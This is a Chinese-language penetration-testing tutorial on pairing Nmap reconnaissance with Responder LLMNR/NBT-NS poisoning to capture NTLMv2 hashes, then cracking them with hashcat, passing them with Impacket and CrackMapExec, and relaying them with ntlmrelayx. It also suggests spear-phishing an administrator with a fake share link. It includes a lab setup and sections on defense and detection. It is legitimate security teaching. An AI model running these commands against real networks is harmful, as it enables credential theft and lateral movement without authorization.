
1. 项目概述从端口扫描到认证攻击的思维跃迁在渗透测试和网络安全评估的日常工作中很多朋友尤其是刚入行的新手拿到一个Windows靶机后的第一反应往往是上Nmap扫端口。看到开放的445、135、3389就想着去爆破、去尝试已知的漏洞利用。这当然没错端口是服务的入口是攻击的起点。但今天我想分享一个更深入的思路端口扫描只是信息收集的“前菜”真正的“主菜”往往隐藏在那些看似正常的网络协议交互背后特别是身份认证这个环节。这个项目的核心就是打破“扫描-利用”的线性思维教你如何将经典的网络发现工具Nmap与强大的中间人攻击工具Responder组合起来形成一套“组合拳”。这套方法的目标不再是简单地发现开放服务而是主动地、诱导性地去探测和利用Windows系统在网络认证过程中可能存在的脆弱性。你可能会发现一个看似固若金汤、补丁齐全的Windows Server 2016或Windows 10系统其最薄弱的环节并非某个具体的远程代码执行漏洞而是它向网络宣告自己身份、请求服务时所用的协议。简单来说我们不再被动地等待扫描结果而是主动“设局”让目标机器在特定的网络环境下通常是我们可控的局域网向我们发起认证请求。通过分析这些请求我们能够截获甚至破解其认证凭据的哈希值从而为后续的横向移动或权限提升打开突破口。这尤其适用于内网渗透测试当你拿下一台跳板机后面对内网中大量Windows主机这种手法往往能起到奇效。2. 核心原理LLMNR/NBT-NS投毒与Nmap的脚本化侦察要理解这套组合拳必须先弄懂两个核心概念Windows的备用名称解析机制以及Nmap的脚本引擎如何为我们提供精准的“攻击指引”。2.1 Windows名称解析的“备胎”与Responder的毒药在Windows网络中一台机器要访问另一台机器比如通过\\fileserver\share这样的路径它首先需要将“fileserver”这个名字解析成IP地址。最正统的方式是查询DNS服务器。但如果DNS服务器查询失败比如目标不在DNS记录里或者DNS服务器本身不可达Windows就会启用它的“备胎”机制LLMNR链路本地多播名称解析和NBT-NSNetBIOS名称服务。LLMNR基于多播主机会在本地链路范围内喊话“嘿谁是fileserver”理论上同一网段的所有主机都能听到。NBT-NS一个更老但依然广泛支持的协议用于在缺少WINS服务器的网络中解析NetBIOS名称。Responder工具的核心攻击原理就是监听这些“备胎”协议发出的查询请求。当它监听到一个LLMNR或NBT-NS查询例如某台主机错误地输入了\\wrongserver\share或者尝试访问一个不存在的网络资源时它会立刻跳出来响应“我就是fileserver”从而将自己伪装成目标机器。接下来当查询者即我们的靶机试图向这个假冒的“fileserver”进行身份认证以访问共享时所有的认证流量包括NTLMv1/v2哈希都会被发送到Responder这里从而被我们截获。注意这种攻击成功的前提是目标网络内没有启用并强制使用DNS或者用户/系统进程会尝试访问一些不存在的网络资源。在内网中由于配置复杂或管理疏忽这种情况非常普遍。2.2 Nmap的深度超越端口扫描的脚本引擎Nmap远不止一个端口扫描器。它的NSENmap Scripting Engine脚本引擎是一个宝库。对于我们的组合拳Nmap扮演了两个关键角色精准的目标发现与服务识别首先我们用Nmap快速扫描网段找出所有在线且开放了SMB445/tcp、RDP3389/tcp、WinRM5985/tcp, 5986/tcp等典型Windows服务端口的机器。这比盲目地让Responder监听整个网络更高效。漏洞与配置侦察更重要的是我们可以使用特定的NSE脚本对目标进行深度侦察。例如smb-os-discovery: 获取目标的操作系统版本、计算机名、工作组/域名。smb-security-mode: 探查SMB服务签名的启用情况。如果签名未被强制要求这为后续的中间人攻击提供了便利。smb-vuln-*系列脚本检查已知的SMB漏洞如MS17-010永恒之蓝虽然我们主要关注认证漏洞但全面了解目标风险没有坏处。http-ntlm-info: 如果目标开启了Web服务如IIS可以尝试获取NTLM认证信息。这些信息对于我们评估攻击面、选择最可能响应LLMNR/NBT-NS投毒的目标例如那些处于工作组环境而非严格域环境、计算机名看起来像开发或测试机的目标至关重要。3. 环境准备与工具配置在开始实操前我们需要一个受控的环境。强烈建议在虚拟化环境如VMware Workstation或VirtualBox中搭建一个隔离的测试网络。3.1 测试环境拓扑一个典型的最小化测试环境包括三台虚拟机攻击机Kali Linux运行Nmap和Responder。需要配置为桥接或NAT模式确保能与靶机在同一二层网络。Windows靶机如 Windows 10/11 或 Windows Server 2016/2019这是我们试图获取其凭据的目标。将其网络模式设置为与攻击机相同例如都连接到VMnet8的NAT网络。可选域控制器Windows Server AD DS如果你想模拟更真实的域环境可以加入一台。在域环境中LLMNR/NBT-NS投毒依然可能生效尤其是当DNS记录不全或客户端配置错误时。关键点确保攻击机和靶机在同一个广播域内。你可以通过在攻击机上执行ip addr show或在靶机上执行ipconfig来确认它们是否在同一网段。3.2 工具安装与基础配置攻击机Kali Linux: Kali Linux通常预装了Nmap和Responder。如果没有安装非常简单sudo apt update sudo apt install nmap responder -yResponder基础配置 Responder的配置文件位于/etc/responder/Responder.conf。在发起攻击前有几个关键选项需要审视SMB On/Off 是否响应SMB协议请求。通常保持On。HTTP On/Off 是否响应HTTP协议请求。开启后可以捕获通过浏览器发起的NTLM认证。HTTPS On/Off 同上针对HTTPS。SQL On/Off 响应MSSQL认证请求。LDAP On/Off 响应LDAP请求。FTP On/Off 响应FTP请求。Challenge 1122334455667788 这是NTLM质询Challenge。在实战中有时为了兼容性或者特定破解工具的需要可能会修改为一个固定值。但保持默认随机生成通常是最佳选择。对于初次测试我们可以先保持默认配置。但务必理解开启的服务越多Responder在网络上就越“活跃”也越容易被网络监控设备发现。4. 组合拳实战从扫描到哈希捕获现在让我们进入核心的实操环节。整个过程是一个清晰的循环侦察 - 投毒 - 诱导 - 捕获。4.1 第一阶段Nmap侦察与目标筛选假设我们的攻击机IP是192.168.1.100我们需要扫描192.168.1.0/24网段。步骤1快速存活主机发现我们不需要一开始就进行全端口扫描先用Ping扫描快速找出存活主机。sudo nmap -sn 192.168.1.0/24这个命令会列出所有在线的主机IP。从中找到我们的Windows靶机假设其IP为192.168.1.150。步骤2针对性端口与服务扫描对靶机进行更细致的扫描重点探测Windows相关服务。sudo nmap -sS -sV -O -p 135,139,445,3389,5985,5986,80,443 192.168.1.150-sS: TCP SYN扫描速度快且相对隐蔽。-sV: 探测服务版本。-O: 尝试识别操作系统。-p: 指定我们关心的端口。步骤3深度信息收集与漏洞初筛使用NSE脚本获取更详细的信息这能帮助我们判断靶机的“攻击价值”和可能存在的弱点。sudo nmap --script smb-os-discovery,smb-security-mode,smb-vuln-*,http-ntlm-info -p 445,80,443 192.168.1.150输出分析与目标画像如果smb-security-mode显示message_signing: disabled说明SMB签名未启用这对于任何基于SMB的中间人攻击都是利好消息。如果smb-os-discovery显示计算机名是DEV-WIN10工作组是WORKGROUP那么它很可能是一台工作组机器更容易受到本攻击。如果扫描结果显示开放了Web服务80/443且http-ntlm-info脚本能获取到信息说明该Web服务可能支持Windows集成认证这又增加了一个潜在的认证入口。4.2 第二阶段启动Responder布下陷阱在另一个终端窗口我们启动Responder开始监听网络上的LLMNR/NBT-NS/mDNS请求。sudo responder -I eth0 -wrf-I eth0: 指定监听网卡请替换为你的实际网卡名可用ip a查看。-w: 启动WPAD代理服务器。很多Windows系统会自动寻找Web代理此选项可以响应WPAD请求进一步诱导流量。-r: 响应SMB协议请求。-f: 指纹主机。这能提供更多关于请求主机的信息。启动后Responder会安静地运行等待“鱼儿”上钩。它的界面会实时显示监听到的协议活动和捕获到的哈希。4.3 第三阶段主动诱导与被动等待这是最需要技巧和耐心的一步。我们需要让靶机产生那些会触发备用名称解析的请求。方法分为主动和被动被动等待这是最基本的方式。什么都不做等待网络中的正常活动。例如用户可能在资源管理器里错误地输入了\\fileserve\share少了个r或者某个服务、计划任务在尝试访问一个已经不存在的网络路径。在内网中这类“噪音”比你想象的多。主动诱导我们可以更积极地“推”靶机一把。方法有很多其核心是让靶机尝试访问一个不存在的、但名字听起来合理的网络资源。利用Nmap的smb-brute脚本谨慎使用 针对SMB服务进行弱口令爆破尝试。即使密码错误靶机在认证过程中也可能泄露计算机名等信息Responder可能捕获到相关流量。但这种方式会产生大量日志不推荐在需要隐蔽的测试中使用。# 示例仅用于理解原理实际慎用 sudo nmap --script smb-brute --script-args userdb/usr/share/wordlists/usernames.txt,passdb/usr/share/wordlists/passwords.txt -p 445 192.168.1.150伪造资源定位器 这是更优雅的方式。如果靶机上有可访问的共享比如我们之前扫描发现的我们可以尝试在其内部制造一个指向不存在主机的链接。但这通常需要一定的初始权限。针对Web服务的诱导 如果靶机有Web服务我们可以诱使用户或模拟用户访问一个需要NTLM认证的页面或者访问一个嵌入类似file://fakehost/share链接的页面。一个更通用且低交互的方法是在攻击机上向靶机发起一个指向不存在主机的SMB连接请求。虽然这是从攻击机发起的但有时会触发靶机的反向查询或相关网络行为。可以使用smbclient或rpcclient工具进行尝试目标指向一个虚构的主机名。# 示例尝试用空会话连接一个不存在的主机 smbclient -L \\\\nonexistentserver -N -I 192.168.1.150这个命令本身会失败但它产生的网络流量有可能被Responder利用。4.4 第四阶段哈希捕获与初步分析当诱导成功时Responder的界面会突然变得活跃。你可能会看到类似下面的输出[LLMNR] Poisoned answer sent to 192.168.1.150 for name FAKESERVER [SMB] NTLMv2-SSP Client : 192.168.1.150 [SMB] NTLMv2-SSP Username : DEV-WIN10\Administrator [SMB] NTLMv2-SSP Hash : Administrator::DEV-WIN10:1122334455667788:2F4F4E8B...很长一串恭喜你捕获到了一个NTLMv2哈希Responder默认会将捕获到的哈希保存到/usr/share/responder/logs/目录下文件名为SMBv2-*.txt或HTTP-*.txt等。哈希类型解读NTLMv1 较老的格式相对容易破解。在现代高版本Windows上较少见除非系统或策略特意降级。NTLMv2 目前最常见的格式安全性比v1高很多破解需要强大的算力GPU和庞大的密码字典。捕获到的哈希格式通常是用户名::域名:质询:响应:响应...。对于工作组机器“域名”就是计算机名本身。5. 哈希的后续处理与利用思路拿到哈希并不意味着游戏结束它是一把“钥匙”但还需要找到对应的“锁”或者把它“熔铸”成能用的形态。5.1 离线破解哈希这是最直接的方法。使用工具如John the Ripper或Hashcat配合强大的密码字典和规则尝试还原出明文密码。使用Hashcat示例 假设我们捕获的哈希保存在hash.txt文件中。# 识别哈希模式Hashcat模式号 5600 对应 NetNTLMv2 hashcat --example-hashes | grep -i ntlmv2 # 使用字典模式破解 hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -O # 使用组合规则破解 hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule破解成功率完全取决于密码的复杂度和你的字典/规则强度。对于弱密码可能在几分钟内就能破解对于强密码则可能遥遥无期。5.2 哈希传递攻击如果我们无法破解哈希或者时间紧迫可以尝试Pass-The-Hash (PTH)攻击。这种攻击允许我们直接使用捕获到的NTLM哈希无需明文密码向其他支持NTLM认证的服务进行身份验证。常用工具Impacket 套件 这是一组Python脚本功能极其强大。psexec.py: 使用哈希或密码获取目标的半交互式Shell。python3 psexec.py -hashes :NTLM哈希 域名/用户名目标IP # 示例python3 psexec.py -hashes :2F4F4E8B... DEV-WIN10/Administrator192.168.1.150smbexec.py: 类似psexec但执行命令的方式不同可能更隐蔽。wmiexec.py: 通过WMI执行命令是另一种常见的横向移动方式。CrackMapExec 一款专为内网渗透测试设计的瑞士军刀PTH是其核心功能之一。crackmapexec smb 192.168.1.150 -u Administrator -H NTLM哈希 -x whoami重要注意事项哈希传递攻击的成功与否取决于目标服务的配置。例如SMB服务如果启用了“限制NTLM认证”或“要求SMB签名”可能会阻止PTH攻击。这也是为什么之前我们用Nmap的smb-security-mode脚本进行侦察的原因。5.3 中继攻击这是比单纯捕获哈希更高级、危害可能更大的攻击。我们捕获到的认证请求不单单是保存下来破解而是实时地将其“转发”中继到另一台机器上并以受害者的身份在第二台机器上执行操作。为什么中继攻击更危险无需破解哈希 即时利用成功率取决于中继目标的服务配置。权限提升 可以将一个普通域用户的权限中继到域控制器上如果该用户在域控制器上有管理权限例如被加入了某些管理组后果不堪设想。绕过NTLM破解难度 直接绕过了对强密码哈希的破解。实施中继攻击的挑战SMB签名 这是中继攻击最大的克星。如果中继目标如另一台文件服务器或域控制器强制要求SMB签名那么中继过去的请求会被拒绝。Windows Server默认对域控制器之间的通信强制要求SMB签名但对来自域成员的请求则不强制。这是一个关键的攻击面。工具选择 Responder本身内置了简单的HTTP/S和中继功能但更强大和灵活的中继工具是Impacket 的ntlmrelayx.py。# 基本的中继示例将捕获的认证中继到指定目标 python3 ntlmrelayx.py -t smb://目标服务器IP -smb2support -socks # -socks 参数会开启一个SOCKS代理我们可以通过这个代理以受害者的身份访问目标服务器资源。在实际的内网渗透中中继攻击往往与LLMNR/NBT-NS投毒结合形成自动化攻击链Responder负责毒化并捕获认证ntlmrelayx负责将认证中继到预先定义好的高价值目标列表如所有的域控制器、文件服务器进行尝试。6. 防御措施与检测建议了解了攻击原理作为防御方我们应该如何应对6.1 根本性防御禁用不安全的协议最彻底的解决方案是在所有Windows主机上通过组策略禁用LLMNR和NBT-NS。禁用LLMNR 组策略路径计算机配置 - 管理模板 - 网络 - DNS客户端启用“关闭多播名称解析”。禁用NBT-NS 在网络适配器的高级TCP/IP设置中WINS选项卡下选择“禁用TCP/IP上的NetBIOS”。在企业域环境中应通过组策略统一推送这些设置。同时确保DNS服务健全且可靠让主机没有理由去使用这些备用协议。6.2 缓解措施强化认证与访问控制启用SMB签名 对于所有服务器尤其是域控制器强制启用SMB签名。这能有效防御SMB中继攻击。组策略路径计算机配置 - 策略 - Windows设置 - 安全设置 - 本地策略 - 安全选项将“Microsoft网络服务器对通信进行数字签名始终”设置为“已启用”。部署网络访问保护 使用802.1X认证确保只有授权设备才能接入网络从物理层面减少攻击面。实施网络分段 将关键服务器如域控制器置于独立的VLAN中并严格限制客户端与服务器之间、服务器与服务器之间的不必要的协议访问。使用强密码策略 增加NTLM哈希破解的难度。但这无法防御哈希传递和中继攻击。尽可能使用Kerberos认证 在域环境中Kerberos比NTLM更安全。通过组策略限制NTLM的使用。6.3 监控与检测攻击总会留下痕迹有效的监控可以及时发现威胁。网络层监控 部署IDS/IPS设置规则检测LLMNR/NBT-NS协议的异常响应例如一个IP地址对大量不同的名称查询进行响应。主机层日志分析 在Windows安全日志中关注事件ID 4624登录成功和4625登录失败特别是登录类型为“网络”Type 3且登录进程为“NtLmSsp”的记录。如果发现来自同一源IP的大量NTLM登录尝试尤其是失败尝试可能意味着正在发生爆破或中继攻击。使用微软的Attack Surface Analyzer等工具 定期扫描系统检查是否存在不安全的协议配置。7. 实战中的思考与进阶技巧在实际的渗透测试项目中单纯运行工具往往不够。以下是一些从经验中得来的思考点1. 目标选择与时机工作时间 vs 非工作时间在工作时间用户活动频繁触发备用名称解析的概率更高。但在非工作时间自动化任务、计划任务可能会运行它们也可能访问网络资源。针对特定用户如果通过前期信息收集发现某个用户权限很高如域管理员可以尝试通过鱼叉式钓鱼邮件诱导其点击一个指向\\your-fake-server\share的链接从而精准捕获其哈希。2. Responder的隐蔽性默认配置下的Responder非常“吵闹”。在需要隐蔽的测试中可以考虑只开启最可能成功的服务如SMB、HTTP关闭FTP、SQL等不常用的。修改默认的Challenge值有时可以绕过一些简单的哈希重复性检测但这不是银弹。3. 结合其他信息收集手段在启动Responder前先用netdiscover,arp-scan等工具快速摸清网络结构。使用enum4linux,ldapsearch等工具如果已有一定权限先收集域用户、计算机、组策略信息。这能帮你判断哪些是高价值目标从而进行更有针对性的诱导。4. 应对防御措施如果发现目标网络禁用了LLMNR/NBT-NS不要气馁。可以尝试WPADWeb代理自动发现协议投毒或mDNS多播DNS投毒Responder也支持这些。此外针对IPv6的协议如DHCPv6也可能成为突破口。对于启用了SMB签名的服务器中继攻击失效。此时应回归到传统的漏洞利用、密码破解或寻找其他未受保护的服务如WebDAV、未加密的WinRM等。这套“NmapResponder”的组合拳其精髓在于思维的转变从寻找漏洞到制造陷阱从被动扫描到主动诱导。它迫使你更深入地理解网络协议是如何工作的以及信任关系在何处可能被滥用。掌握它你不仅多了一种强大的攻击手段更能以攻击者的视角重新审视和加固你所要防御的网络环境。